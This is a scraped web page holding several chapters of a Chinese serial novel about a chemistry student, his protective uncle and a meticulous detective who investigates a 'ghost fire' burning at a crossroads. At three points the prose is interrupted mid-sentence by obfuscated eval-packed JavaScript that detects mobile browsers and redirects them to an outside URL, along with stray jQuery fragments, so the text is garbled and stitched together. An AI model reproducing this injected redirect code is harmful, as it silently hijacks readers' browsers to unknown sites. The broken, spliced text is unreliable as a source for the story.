{ $(''.inform'').remove(); $(''#content'').append('' 落落,狮子座的α星轩辕十四高悬在天顶,散着清冷的光。凌晨两点,陶律夏还没有睡着,他坐在露台上,一页页地翻看那个自己从未见过的超话。 他的ID叫“静电小甜心”,签到时间现在是1063天,刚刚过去的两个小时,他又上线了。 他参与过最热的一次发帖,是一个小调查,时间是2020年5月8日。 【话题互动】如果陶神谈恋爱,他的理想型会是谁? !!!投前必看:F圈自嗨|唯粉误入,喷子别来 ,切勿上升到本人 选项: 1. 温柔细腻型,像他的生物老师(目前领先57%) 2. 冷感天菜型,像他本人 3. 沉稳可靠型,像传说中的神秘男人 4. 其他提交时备注(情绪不稳定的帅哥火药桶型 ) ——— 评论区 ——— 【评论1】:「选1啊宝子们,陶神真的需要被温柔治愈!」 【评论2】:「2也好磕,两个冷感天菜对视,世界都静音了。」 【评论3】:「???4是什么神仙口味哈哈哈哈哈哈!」 【评论4】:「4是谁提交的,出来解释下?火药桶型是什么鬼?」 【ID静电小甜心回复评论4】:「我提的!我觉得陶神就会喜欢看起来有点凶,但只为他收敛锋芒的硬汉帅哥!」 【评论5】:「火药桶??姐妹你是来搞笑的吗?陶神怎么可能和那种天天炸毛的人谈恋爱啊!绝对不行!」 【评论6】:「+1火药桶型真的不行,陶神会被吓跑的!」 【ID静电小甜心回复评论6】:「吓跑?他只会觉得有趣好吗?学神的生活得那么无趣,就需要……咳,火药桶型来点燃他的人生。」 【评论7】:「什么火药?怎么点燃啊?那种人太吵太作了,陶神会被气死的。」 【ID静电小甜心回复评论7】:「笑死,陶神碰上这种帅哥,他能直接追上去把对方堵在墙角,说你逃不出我的引力场。」 【评论8回复ID静电小甜心】:「静电小甜心你要不要醒醒,你听起来怎么有点像火药桶本桶?」 【评论9回复ID静电小甜心】:「啊啊啊!姐妹发言带感!火药桶型看似嚣张,结果对陶神温柔得一塌糊涂,太可了!!」 【评论10回复ID静电小甜心】:「哈哈哈,我不行了,有画面了!陶神被火药桶气得耳朵红红的,却还要装作冷静继续对话!」 【ID静电小甜心回复评论10】:「握手表情包,不但要对话,他还得哄火药桶开心。」 【评论11回复ID静电小甜心】:「救命!姐妹你这口气像极了BL小说里的娇憨攻。」 【评论12】:「本人已决定开一篇脑洞文:《冷感天菜抱着火药桶说:你以后不许炸别人,只能炸我》」 纤细的气根从仙人球的刺座间悄无声息地探出来,汲取着春夜里微薄的湿度。 陶律夏划过屏幕上的一条条评论,不知不觉笑了很久。指尖在题面上停住,轻轻一点,正主选择了【4情绪不稳定的帅哥火药桶型】。 54.筹划已久? 春天的雨,突然就来了,风裹着浮尘,夹着细碎的雨丝砸落在地,溅起一片片的泥点子。 等红灯的间隙,裴晓冬抬手把屏幕上的雨点抹干净,又确认了一遍取餐的最优路线。 跑外卖的这半年,中山路一带他早已摸得门清。 哪家店出餐快,哪家店常漏单,哪条小巷能抄近道,甚至路上有几个水坑,他都在心里标好了记号。 正低头看着地图,红灯已经转绿,身后传来一阵急促的喇叭声。裴晓冬瞅了瞅四周的人流,踩下踏板,沿着路口慢速拐进一条狭窄的巷子。 今天取餐的这家披萨店,他还是第一次来。 门口摆着一个长方形的木质花盆,几棵春羽错落伸展,旁边的架子上还放着几盆香草。 裴晓冬停好电动车,摘下头盔挂在车把上,又在门口蹭干净鞋底的泥水,这才推门走进去。 老板把店面打理得这么整洁漂亮,他不想把污渍带进去。 在柜台前等了两分钟,餐就做好了,裴晓冬接过包装,习惯性地低头核对。 “老板,披萨是不是装错了?顾客买的是9寸,这个……怎么看都太小了。” “我看看……”老板接过去翻了翻包装单,“唉,还真是做错了,这是个6寸的披萨,那我再补一个吧,请稍等一下。” “是再补一个同款的6寸披萨?”裴晓冬问。 “嗯。”老板点点头,“刚好有一起出炉的。” “可是两个6寸的披萨加起来,也没9寸大。”裴晓冬微微挺直了背。 “6寸的面积最多28平方英寸,两个加起来也才56,9寸的面积是63平方英寸,差得还不止一点呢。” 老板愣了两秒,盯着他问:“你……学数学的?” “不用学数学吧,小学就学过面积公式啊。”裴晓冬小声嘀咕了一句。 老板只好点头:“那我重新做一个9寸的披萨,不过还要等十五分钟。” “那我先和客人沟通一下。”裴晓东掏出了手机。 电话那头,陶律夏听完外卖员的描述,看了下时间。因为下雨,餐点已经比预期晚了二十分钟。 “能退款最好,嗯,那就麻烦了……” 挂断电话,他换了件橙色和绿色相间的复古格子衬衫,袖口随意挽了两折,从鞋柜里抽出一双麂皮面乐福鞋,拿起车钥匙,走出了门。 三月的京北,还谈不上真正的“春暖”,院子里梧桐还未返青,枝丫顶端冒出几点淡褐的芽头。 他一路驱车到盈科大厦,停好车走进电梯,按下18层的按钮。 接近中午,腾凌涛正坐在桌前翻看文件。听见门外的脚步声,他抬头望去,目光在来人身上停了片刻,眉眼悄然松下来。 “来了,吃饭了吗?”他站起身,朝门口走了两步。 “还没吃。”陶律夏说完朝外瞥了一眼,“你外面的接待厅可以做香蕉三明治吗?” 腾凌涛愣了一下,原本不过是找话题般地随口一问,他没有想到陶律夏会主动约他,更没想到,他还愿意在这里吃饭。 一股近乎酸涩的情绪涌了上来,他很快掩下,按下桌边的对讲:“辰叙,帮我准备香蕉三明治和冰咖啡,两份。全麦吐司每面抹3.5克黄油,香蕉切片一起烤,撒可可粉,厚涂花生酱,一份15毫升。” 说完,他抬眼望向陶律夏,语气带着些轻缓的试探:“去露台坐坐?雨刚停,空气不错。” “这个季节,是不是能看到你种的樱花?”陶律夏微微侧头看向落地窗外。 “我种的是晚樱,大概要到四月才会开。”腾凌涛看着他,声音轻下来,“到时候再来一次,好吗?” 陶律夏没回答,只是走向露台。地板还有些潮,边缘残留着一片片水痕。 一阵风吹过,几滴水珠顺着遮阳伞的边缘“啪嗒”落下,溅起浅浅的湿痕。 陶律夏拉开椅子坐下,说:“我有事,想请你帮忙。” 腾凌涛有些惊讶,落座的动作一顿,侧身看向他:“哦?什么事?” 陶律夏:“我想去市公安局实习,写了两次申请邮件,都没收到回复。我猜,这种单位可能需要人推荐。” 腾凌涛等了一会,见他没打算解释,又问了一遍:“你要去公安局?” “对。”陶律夏点点头。 “去做什么?” “技术侦查,痕迹物证检验这类,在实验室里跑数据、看图像、做分析。”陶律夏答得很干脆,像是早有准备。 “和做科研也没什么区别。”他又漫不经心地补了一句。 “没有区别?”腾凌涛反问了一遍,面上未动声色,眼神却沉了下去。 他了解陶律夏,无论是重大决策,还是生活中微不足道的选择,这孩子都喜欢推演可能,计算得失,评估误差。 一向严谨、克制,对混乱有一种本能的排斥,此刻,他却告诉自己,去公安局和待在实验室做科研没有「区别」? 怎么可能没有?他怎么可能会不知道:那不是推理小说里的侦探故事,是充满混乱、未知和风险的前线? 那句“不行”冲到了喉咙口几乎要脱口而出,最终还是被腾凌涛硬生生压了回去。 “你想做科研、学艺术、进公司,出国深造什么都可以,为什么偏要去公安局?” “为什么不能去呢?”陶律夏轻声反问。 “我本来就学化学,这两年也自学了刑法、犯罪学和心理学。交换期间,我在法医化学和微物证分析实验室都有过完整项目经历。” 没激动,没挑衅,冷静得像在解一道题,腾凌涛看着他,胸口像被什么钝物压住,沉闷发痛。 原来是筹划已久…… 他为什么要这样?为什么要主动靠近案件现场?这明明和他本人一贯追求的逻辑、秩序、可控性,背道而驰。 是这些年为他安排好的一切让他觉得束缚、厌烦?以至于现在,他竟要逆着所有人的期望,以几近破坏的方式来反抗?来寻找刺激? “你早就计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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腾凌涛怔住了,一瞬间,那些被他小心收藏在记忆深处的画面,在眼前一幕幕展开—— 那个零下二十多度,也要和他一起去看极光的小孩;那个一本正经地给他科普丛林猫和沙漠猫区别的小孩。 那个把捡来的石头洗净、分类、做好标签,摆得规整漂亮,邀请他参观“私人岩石展览”的小孩。 那个在一个个「奇怪发明项目书」的致谢名单里写上“特别感谢舅舅指导”的小孩。 还有,那个抱着他哭,一遍又一遍问他:“妈妈去哪里了”的小孩…… 腾凌涛一直以为,自己可以替这个孩子挡风遮雨,规划一条平安顺遂的人生轨迹,永远不必面对阴暗与危险。可到头来,他不但不快乐,还要义无反顾地走向一条自己从未想象过的道路。 “好吗?”陶律夏又问了一遍,语气里甚至带着小时候依赖他时才有的央求。 沉默良久,腾凌涛终于找回了自己的声音:“好……” 露台上的山茶花还残着几朵,暗红色的花瓣上凝着未干的水滴,在静默中透着冷艳倔强。 腾凌涛独自站了很久,直到韩辰叙走进来:“老板,有什么要我去办吗?” “不用,我亲自去。”腾凌涛冲他摆摆手,把眼镜重新戴好,转过了身。 “辰叙,你知道他有多久没叫我舅舅了吗?” “八年了……” 55.卷王传说 周五上午,学习会照例在综合楼的多功能报告厅举行。 对罗乐来说,开会是最消耗精力的事,他在会场坐了不到二十分钟就开始琢磨午饭。 手在外卖平台的界面上来回滑动,从麻辣烫翻到炒粉,从米饭套餐看到小烧烤,最终还是点了个平平无奇的麦当劳。 下午还有一堆活儿等着他干,比起尝鲜,更需要一顿不踩雷的热量供给。 会议结束,罗乐在大门口花池的水泥台子上拿上外卖,脚步一拐朝院子西头走去。 刑侦支队在公安局院子最西边的那栋老楼里,五层高,没电梯,楼龄二十年有余,走廊墙皮都有点起壳。 自从综合楼建成,行政办公室、多功能报告厅、技侦实验室……陆续搬了过去。只有刑侦支队始终没挪窝,像某种老派又倔强的传统,风吹雨打地坚守在原地。 冰美式吸到只剩吸管在响,罗乐把垃圾一丢,擦干净桌面,开始下午的主线任务:整理全组的卷宗。 他一边核对,一边在批注里敲字—— “目录标的是21份附件,实际只有19份,剩下两份被你当早餐吃了?”@苗川 “视频命名为‘新建文件1’,这是监控画面还是你家猫的洗澡录像?”@秦涛 “刘警官,1号证物的标签上缺日期,请补一下。”@刘佳宁 “陈专家,检出浓度单位缺失,毫克?微克?我现在不知所措,不知道该去抓人还是抓老鼠。”@陈建平。 “李队长,再次诚恳建议您将宋体五号设置为默认字体,谢谢。”@李达坤。 调来市局半年多,原本OA系统都懒得登录的李达坤,在卷王的持续阴影笼罩下,如今也开始半点情愿地配合起线上协同办公。 毕竟,有个闲得发疯、连页眉和行距都要统一的狠人义务整理全组电子文件,这种福气整个公安局也就他们刑侦支队“有幸享受”。 整理完卷宗,罗乐接着写下周的工作计划。一个案件结案,三个嫌疑人移送起诉,还有几份鉴定报告要归档…… 他一项项分条列好,标注完成日期和后续节点,再把重点抄在便利贴上,在电脑屏幕旁贴成了一串。 全部搞完,罗乐打印了几篇关于“声音识别与声纹对比”的论文,一直看到下班点,才拎着行李出了门。 还没走到院门口,一辆车慢悠悠滑到身边,车窗降下来,驾驶位上探出苗川的脑袋,“哟,今天怎么这么早?” “回家一趟,赶飞机。”罗乐说。 “机场路这会儿堵成狗,我捎你一段,给你扔地铁机场快线那站。”苗川招呼道。 罗乐也没客气,直接拉开副驾的门坐上了去。 “回家干嘛?家里没啥事吧?”苗川发动引擎,扭头问。 “我表妹结婚,点名让我回去送亲。”罗乐笑了笑,“说有我在仪式感拉满。” “你?仪式感?还是先收收你的杀气吧,别把伴娘团吓出心理阴影。”苗川笑得不行。 罗乐白了他一眼:“哥们穿西装帅得你不敢认。” “别吹了,有本事发张结婚喜帖给我开开眼。”苗川说着拐出院子。 “那你得等到地球轨道偏移。”罗乐靠在椅背上,随口问道:“你今儿咋没在食堂吃饭?” “吃了两份文件,撑了。”苗川干笑一声。 苗川跟着李达坤刚来市局时,过去那个实习生罗乐已经升格为Office审判官·文件命名执法者·分类规则的守护人·归档和秩序的化身·整顿办公室的……“神”。 ——照片请按[日期]-[案号]-[位置]-[内容简述]命名,不要写IMG_0324; ——协查函不是恐吓信,不需要用红字、加粗、感叹号; ——文中称谓请统一,不要上半页写「被害人」,下半页写「受害人」。 刚开始苗川还骂骂咧咧的不服,后来也就躺平认命了。这年头给你改文档、理材料、用荧光笔划重点的工作搭子,可不是哪个倒霉蛋能拥有的。 车子刚拐出公安局大门,就赶上了红灯。 苗川往前挪了挪,单手搭在方向盘上,看向旁边车道一辆低矮亮眼的跑车,啧了一声:“阿斯顿·马丁。” “哪家富二代啊,开跑车有啥用,不一样堵在路上当雕塑。” 罗乐也瞥向那辆车,红灯倒数归零,那辆跑车像一道银线流畅滑出,漆面一闪,色泽像初升的淡月。 “有品味,讲究人。”罗乐收回目光。 苗川偏过头笑了:“稀奇,你不是最烦装逼富二代吗?” 太阳贴在西边大厦的玻璃幕边,整座楼像被泼了一层橘红的釉彩。 罗乐默了一瞬:“也分人,有清爽利落,不矫情还有品味的富二代。” “你见过?” “我哥们就是。” “德茂律师行那个?” “嗯。”罗乐想了想,又补了半句,“不过……他没啥品味。” 飞机落地时,天刚擦黑,西北的日落比京北晚了两个多小时。 走到家门口,院子里还亮着灯,昏黄色的光落在花坛,有点温吞的味道。 沈月枝蹲在地上浇花。罗乐走近扫了眼那几棵嫩苗:“你这栽的啥?” “玫瑰啊。”沈月枝站起身,一脸“这也用问?”的表情。 罗乐两指捻着叶片,冷静输出:“玫瑰叶小,锯齿状,茎很粗,刺也比较多。你这叶边圆钝,茎还软,是月季没跑。” 沈月枝不服气:“卖花的说是玫瑰,我都种几年了,还能不认识?” “你买苗的时候,人家是不是还忽悠你说花色是克莱因蓝,还能四季开花?” 罗乐抬起下巴,语气一本正经:“大概率是丰花月季,拉丁学名 Rosa chinensis,中文名又叫「自欺欺人」。” 沈月枝:“……儿子,你变了。” “怎么,变帅了?”罗乐顺手接过水壶,漫不经心地浇起花来。 “你现在怎么懂这么多?你爸前几天还说,你比以前稳重多了,也更——“ “上进了。”沈月枝走近了一点。 “真的假的?”罗乐嘴角一挑。 “嗯。”沈月枝眼神温柔了一些,“你知道要让罗校长亲口承认你‘上进’,那得多离谱吗?” 说完她转身朝屋里走去:“走吧,吃饭。” 罗乐跟上去:“做什么了?” “你二姨家中午请客,剩了点包子,我顺手拿回来了。” “……”罗乐顿了顿,“我好不容易回来一趟,你就拿吃剩的包子打发我?” “吃不吃?”沈月枝头也没回,“不吃就是你爸的早点。” “吃吃吃。” 没几分钟,包子就热好了,胡萝卜肉馅、酸菜肉馅,还有几个糖三角,热气腾腾地摆上桌。 罗乐夹起一个,咬了一口说:“你刚说养假玫瑰有几年了,这玩意儿好养吗?” “不娇气,不挑地,只要有阳光和风,就能开满整个院子……”沈月枝说。 * 婚礼还没正式开始,娘家代表们坐在靠近舞台的主桌,三大姑八大姨以罗乐为中心围成了半圈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205002|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “乐乐啊,你表妹比你还小两岁,她都结婚了,你啥时候也带个对象回来看看?” “挑来挑去,是不是挑花眼了?” “你再挑,也挑不到神仙吧?” 罗乐低头盯着玻璃里打转的茶叶,一脸事不关己的表情。 “哎,听见没?”三姨伸手戳了戳他的胳膊。 罗乐慢悠悠抬起眼皮,扫了眼兴致勃勃的姨妈们,懒懒一笑:“挑不到神仙,总不能捡个妖怪回家糟心吧。” “说什么呢!谁是妖怪啊?”小姨嗔他一句。 “人不是妖怪,”罗乐靠在椅背上,勾出一个欠欠的笑容,“可架不住有人比妖怪还能折腾。” “就你贫嘴!”舅妈哼了一声,“你等着吧,看天上能不能掉下个对象。” “掉下来的我更不敢要。”罗乐晃晃脑袋,“摔断腿还好说,摔坏脑子那是终身监护级别的灾难。” “你这孩子嘴怎么这么毒!”舅妈被他气得差点翻白眼。 “哎呀!”罗乐一拍额头,像是想起了什么大事。 “我得赶紧去后台瞅瞅,幻灯片里有没有我那张绝版帅照,那可是不容错过的童年俊脸。” “人家结婚,他帅有啥用?”姨妈们看着他扬长而去的身影,又齐刷刷地把视线转向罗乐的母亲——沈月枝女士。 刚要围攻第二目标,沈女士忽然起身:“瞧我这记性,粉饼落在化妆间了?这脸不补一下,一会拍照非暴露出黑眼圈。” 说完,她踩着高跟鞋风姿卓越地离开了硝烟弥漫的战场。 姨妈团面面相觑:“这娘俩,真是一脉相承。” 沈月枝拿着粉扑,轻轻拍了拍鼻翼,望着镜子里的自己。时光真是不动声色,一晃眼,她竟也成了年过五十的人了。 回去时,远远看见罗乐躲在迎宾处,她走过去,站定在他面前。 “待会儿拍照配合点,别老摆那副吊儿郎当的表情。”她一边说,一边理了理罗乐的西装领口,“回头全家看照片,又该说我把你养歪了。” “妈,你就不想问吗?” “问什么?”沈月枝仰起头看着他。 “我为什么不找对象。” 沈月枝轻哼一声,白了他一眼:“我问有用吗?三三我都管不住,我还能管得了你?” 罗乐失笑:“能别拿我跟猫比吗?” “那我哪知道你怎么想的。”沈月枝摇摇头,又笑了,“不过你刚才说得对。” “别让自己糟心。”说完,她托起罗乐的手臂,挽了上去,“走吧儿子,典礼该开始了。” 新郎在念誓词,声音带着点紧张,新娘眼圈红了,礼服裙摆上的碎钻在灯光下一闪一闪。 一桌子姨妈们集体鼻音上线,早就忘了刚才还在讨伐“单身公害”。 新娘笑着笑着也哭了….. 怎么这么喜欢哭呢?动画片里公主被关进塔里,要哭;数学考砸了,也哭;小说男主领了盒饭,哭得跟宇宙毁灭了一样。 还有一次,哭得惊天动地是自己惹的。 偷吃了她藏了很久的糖,她像只被掏了窝的小松鼠,红着眼睛追着他跑了三公里。 罗乐还记得,那时候她哭得上气不接下气,自己还嫌她吵:“别哭了,哭这么丑,回头谁敢娶你啊。” 结果现在,还是有人敢娶。时间过得可真快啊…… “谢谢你愿意和我共度余生”。台上的人说。 罗乐缓缓拍起手,掌声自四周渐次响起,将喜悦、甜蜜、酸楚一同包裹。幸福没有定式,若过得甘愿,那就不算辜负。 56.技侦三人组 技侦实验室常驻三人,风格迥异,各有神通。 刘瑞是负责人,看报告时习惯用食指敲桌面,节奏稳得彷佛脑中自带节拍器,停下来的那一刻,通常会说:“我有一个问题。” 冯宁擅长毒药物和代谢物检验,她打字飞快,爱好五笔,哪怕是写“苯二氮??类”,也能在两秒中敲完。 可填写“意见与建议”时,输入速度就肉眼可见地慢下来,对刑警们渴望的“明确结论”总是格外谨慎。 陈建平主攻毛发和痕迹检验,喜欢抽女士细烟,他把每天的烟歇看作个人的沉思时刻。 这天,他从户外沉思回来,刚坐到位子敲亮电脑,就发出一声触及灵魂的嚎叫:“我去!我怎么又被圈了!!” 「陈专家,检出浓度单位缺失,毫克?微克?我现在不知所措,不知道该去抓人还是抓老鼠。@陈建平。」 “他这是阴阳我呢吧?”陈建平捂着心口,脸上写满了“遭遇职场霸凌”的委屈。 “哪有刑警一天到晚批注别人的错字、行距、文件名?他是不是对我有意见?” 冯宁头也没抬,手指飞快敲着键盘:“据我观察,他只会整顿刑警队的文档规范。外部门的,一般只挑错误和缺失,你是不是漏写了关键信息?” “我记得我写了啊……怎么就没了?是不是系统抽风?”陈建平有些心虚。 “不怪系统,提醒你很多次了,报告出之前多检查两遍。”刘瑞在一旁补刀。 “我也想多检查几遍,但他要得急啊!”陈建平念叨完,发现全办公室没人和他一起讨伐那个事儿多的刑警,就把目光投向一边的实习生。 陶律夏注意到那道目光,见他像在等自己评论什么,于是放下手里的资料,说:“单位缺失、行距混乱、命名不清,确实很难忍受。” 陈建平愣了几秒,才反应过来:“你也站他那边?” “他指谁?”陶律夏脸上带着一点疑惑。 “罗乐——”陈建平咬牙切齿。 陶律夏顿住,来实习已经一周多,跟着办公室的三人把实验室操作流程走了个遍。第五天起,刘瑞就开始让他接手一些轻量级任务。 不过,无论是在办公室、食堂,还是这座院子,他一直没见到罗乐,这还是第一次听到他的名字…… * 中午休息,苗川坐在工位上,一手抓着汉堡,一手滑着手机,视频外放声开得震天响。 聒噪的解说配着阴森的BGM,在罗乐耳边循环回荡—— 【一名男子跪在十字路口,面前是一堆缓缓燃烧的冥纸。他低着头,嘴里在说些什么,像是祈祷,也可能是在与谁对话。】 【你以为只是普通的“烧纸”?错!下一秒,这簇火苗像被“无形力量”牵引,直接顺着他的袖子往上窜,三秒钟内,整条袖子就被吞没!】 【注意!当时风力不到两级,不足以形成“助燃”条件,请问这火,凭什么自己“走上去”?这正常吗?】 “这解说词有点门道。”苗川咂了咂嘴,把手机往前举了些。 “川哥,你非得看这种灵异视频也就算了,能不能别公放?”罗乐在一边抱怨。 “耳机没电了。”苗川头都没抬,把视频往后拽了几秒。 【而最诡异的,是视频最后三秒。】 【镜头短暂晃动,像是拍摄者也被吓到了,朋友们,就在这几秒里,博主发现了不可思议的东西……】 【画面经过处理可以看到:男子右手腕上赫然印着五道整齐的焦黑印痕,像是……被什么“极高温的手”死死握住,烫出的五指灼痕!】 “呦,他这画质补全怎么比技侦还牛。”苗川眯起眼,看着那几道焦痕。 【到底是什么东西留下的灼痕?灵异?复仇?还是某种我们尚未理解的神秘力量?点关注不迷路,我们下期见!】 视频终于播完,罗乐正以为能从这场“午夜阴阳讲堂”中解脱,结果下一秒,手机屏幕就怼到他脸前,画面定格在男人手腕处—— “你看见没?”苗川的声音压低了点,“不太对劲。” “我能不能先把最后一口肉饼咽完?”罗乐侧过头,一脸嫌弃。 “你还有脸抱怨?”苗川撇他一眼,“上次我吃饭时,你在旁边讲了十五分钟蝙蝠回声定位,搞得我耳朵嗡嗡响了一下午。你忘了?” 罗乐:“你耳鸣可能是缺锌,别赖我。” “少狡辩。”苗川手指戳在屏幕上,“仔细看!” 罗乐往上一瞄-- 「这么一看真的很像鬼手印……」 「总感觉像是什么东西在惩罚他」 「这玩意儿该不会是……从地底伸出来的吧?」 「给自己烧点护身符吧哥们,比送钱靠谱!」 “全是弹幕,我看个鬼。” “看这儿!”苗川手指重重地点了点画面的右下方,“你看这栏杆的颜色,还有花坛的瓷砖。” 罗乐视线往下一移,盯着那处看了几秒,神色一变:“有点眼熟……” “离咱们这800米。”苗川眼中闪过一丝笃定。 “双柳公园那儿!”罗乐立刻反应过来。 已经快四月,双柳公园的柳条全绿了,玉兰开到了尾声,花瓣边缘微微焦黄。 罗乐对准河畔的晚樱,拍了几张照片,记录与人类共存的小生命是他闲暇时的日常。 镜头偶尔也会扫过天空的浮云、沉落的夕阳、升起的月亮、飞机划过留在天空的尾迹……这些照片同步到云盘,现在大概已经有……468G。 拍完照,罗乐收起手机,沿着树荫下的小道往回走。拐过街角时,他看见水泥地上的一圈焦痕,脑海里闪过苗川怼到眼前的视频画面。 原来,是这里。 在一些民俗里,十字路口是阴阳交界,清明或者七月半,没法回家上坟的人会在这里画个圈,烧点纸。 每年这时候,市里总要出一轮“文明祭扫”宣传,可安全教育能管住火,却管不住人心里那一点执念。 罗乐从焦痕旁绕了过去,走了两步发现一家新开的咖啡店,门口的小黑板上用粉笔写着“今日手冲·桂花窖”。 他推门进去,咖啡店大概有三十平米,柜台在左侧,做成L型,右侧摆放着七八套桌椅。 一个男人正在柜台后冲咖啡,他身材清瘦,戴着一条咖色围裙,头发没有染,鬓角和头顶微微花白,却打理得干净利落。 “喝点什么?”男人听见动静,抬头招呼,细细的水流落在粉层表面,发出轻微的嗤嗤声。 “这是今日手冲?”罗乐指了指他正在泡的那杯。 “对,埃塞俄比亚的水洗豆,加了桂花窨制。”男人回道。 “就要它。”罗乐拉开一张高脚凳,在吧台坐下,目光随意地扫了一圈,停在收银台旁的一个摆件上。 那是一块透亮的树脂,搁在一个木质底座上,底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214308|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座上面刻着一行小字:加里曼丹 2017。 树脂里面封存着一只昆虫,身体纤细扁平,前胸背板与鞘翅流畅地衔接,头部微微抬起,纤长的触角向前探出,整体轮廓就像一把琴。 罗乐拿起标本,指腹擦过树脂表面:“加里曼丹,提琴虫,来自热带雨林的乐章。” “你也喜欢收集甲虫吗?”男人问。 “在游戏里收集过。”罗乐把标本轻轻搁回底座,“我能拍张照片吗?” “请随意。” 罗乐拍完照端起咖啡杯,抿了一口,点头赞道:“味道很不错。” “还有茉莉花窖,送您尝尝看。”男人从柜台下拿出一个挂耳咖啡包,递到他面前。 “谢谢。”罗乐毫不客气地接过,放到一边。 挂在门口的风铃发出一阵清脆的响声,一个穿着浅蓝色套裙的女人走了进来。 “麻烦来一杯当日特饮。”她走到柜台前说。 “请稍等。”男人应道。 女人盯着男人看了一会儿,忽然开口:“陈先生……是你吗?” 水流微微一偏,又稳住。男人抬起头,眼里闪过一丝迟疑:“您是……?” “真的是啊!”女人轻轻拍了下手掌,语气里透着熟稔,“认不出来了,听声音才觉得像。” “我是林蔚,桃园小区57号,斯诺的妈妈啊!您家后来是搬走了吗?” 男人冲咖啡的手顿了顿,他点点头:“对,搬走了。” “老邻居了,这杯我请您喝。”男人把咖啡杯递过去。 “这怎么好意思……”林蔚嘴上推辞,语气却带着三分欣喜。 “您之前不是在咨询公司工作吗?现在这是财富自由了吧?” “哪有……”男人低笑着摇摇头,“朋友开的,过来帮帮忙罢了。” 罗乐见两人聊了起来,便拿出手机翻起收藏的文章,咖啡尾调微微发苦。自己是什么时候开始能喝完一整杯黑咖啡的? 好像也是和那个人分开之后…… 水柱一圈一圈打在咖啡粉上,香气升腾开来。 刘瑞靠在饮水机边的台面,拿着手冲壶沿圈慢淋,“你说罗乐啊,刑警里严谨细致的有不少,但像他那样能把科学思维用在实务上,还爱琢磨、爱学习的,不多。” “听说是受家属影响?”冯宁一边敲键盘,一边跟上话题,“他家属好像是搞科研出身的?” 陶律夏的心跳刚漏了一拍,就听见陈建平在旁边哼了一声:“家属?” “他怎么可能有家属?”陈建平拆了片酒精棉,擦起剪刀,“你见过哪个有家属的,总是帮人值班、对墙练球、单人打靶……活得孤单又可怜?” 冯宁终于停下手,瞅了陈建平一眼:“你的结论过于草率,有的人选择独处是自主的生活方式,不是境遇悲惨。” “呃……”陈建平轻叹一声,“我忘了女博士也是单身代表团的高级成员。” “‘女博士’这个词,在你这种语境下,基本已经沦为贬义。”冯宁盯住了他。 “我并非在意,但偏见就像溶液中的微量杂质,你觉得影响不大,但你最好还是看见。” “冯警官你说的对。”陈建平把酒精棉丢进垃圾桶,站起身,“我去抽根烟沉淀一下,争取把这点偏见析出来。” 轻盈的毛絮在风中打转,陶律夏转头看向窗外,观察起那团絮状物的轨迹。 又是春天了…… 57.久别重逢 一摞资料“啪”地砸到罗乐桌上,震得收纳架上的空气凤梨都掉了。 罗乐把那团「刺毛球」拾起,重新搁回垫着棉花的陶碟里,扫了眼资料上的关键词:十字路口、灵异事件、鬼火作祟…… “李队,你这是要我去捉鬼吗?”他抬眼看向李达坤。 “你不上网吗?!双柳公园那鬼火事件都上了多少热搜了?”李达坤话里带着火。 这种语气,十有八九是刚上班就被领导劈头盖脸训了一通。罗乐混不在意地笑了笑,用笔尖点了点电脑屏幕上一串密密麻麻的便签纸。 “李队你看我,像是有空刷热搜的样子吗?” 李达坤把手里的纸杯捏成一团扔了,拉过一把椅子坐到旁边,介绍起来—— “裴晓冬,男,28岁,职业外卖员。3月28号晚上22点15分,在双柳公园南侧十字路口烧纸,过程中火焰突然窜上右袖,直接烧到手臂。” “烧纸起火的视频被路人拍下传到网上,热度一上来,各种说法都来了。什么鬼火索命、老天报应、阴间债务……” “还有一些打着科学的旗号胡扯,说‘冥币燃烧产生高能等离子体’,附着在他的袖子上,结果烧了起来。” “等离子体?”罗乐笑了,“真要产生那玩意儿,温度得上万度,骨头都得烧没了。” 李达坤瞅了他一眼:“你成天把化学物理挂嘴边,科学不是能解释一切吗?现在活来了,给我好好整明白。” “哦,”罗乐撑着额头,“所以我现在不光得破案,还要兼职科学顾问?括弧,官方认证版?” “顾问个屁!”李达坤斜了一眼,把资料往桌上一按,“这可是纵火!还有可能涉嫌谋杀!” “……什么意思?”罗乐原本半闭的眼睛一下子睁开,他拿起那摞资料看了起来。 “裴晓冬人怎么样?能问话吗?”罗乐一边翻一边问。 李达坤:“问话?重伤昏迷,人还在ICU躺着。“ “这事社会影响很大,上头很重视。传唤了几个发视频的博主,鬼手印什么的全是后期P图,为了博流量。” “但技侦那边发现了点东西。”李达坤声音一沉,“外卖员袖子上突然蹿起来的火,确实不是普通的火……” “不是普通的火?”罗乐顿住。 * 听见门响,刘瑞抬头看了一眼,随即起身,从桌上一沓资料中抽出一份检测报告。 “来得正好,科学顾问同志。” “刘博士,您少寒碜我了。”罗乐接过报告快速扫了一遍,问:“酮类溶剂?” 刘瑞点头:“对,M酮*,极易燃烧的有机化合物。火灾现场调查中它是助燃剂检测的一个指标。” 罗乐抬起头,目光沉了几分:“裴晓冬的外套上就是沾了这种东西,火才会一下子蹿起来?” “可以这样推论,我们在裴晓冬的外套残片上发现助燃剂的残留物。”刘瑞翻开一页附图,指着上面的数据—— “使用 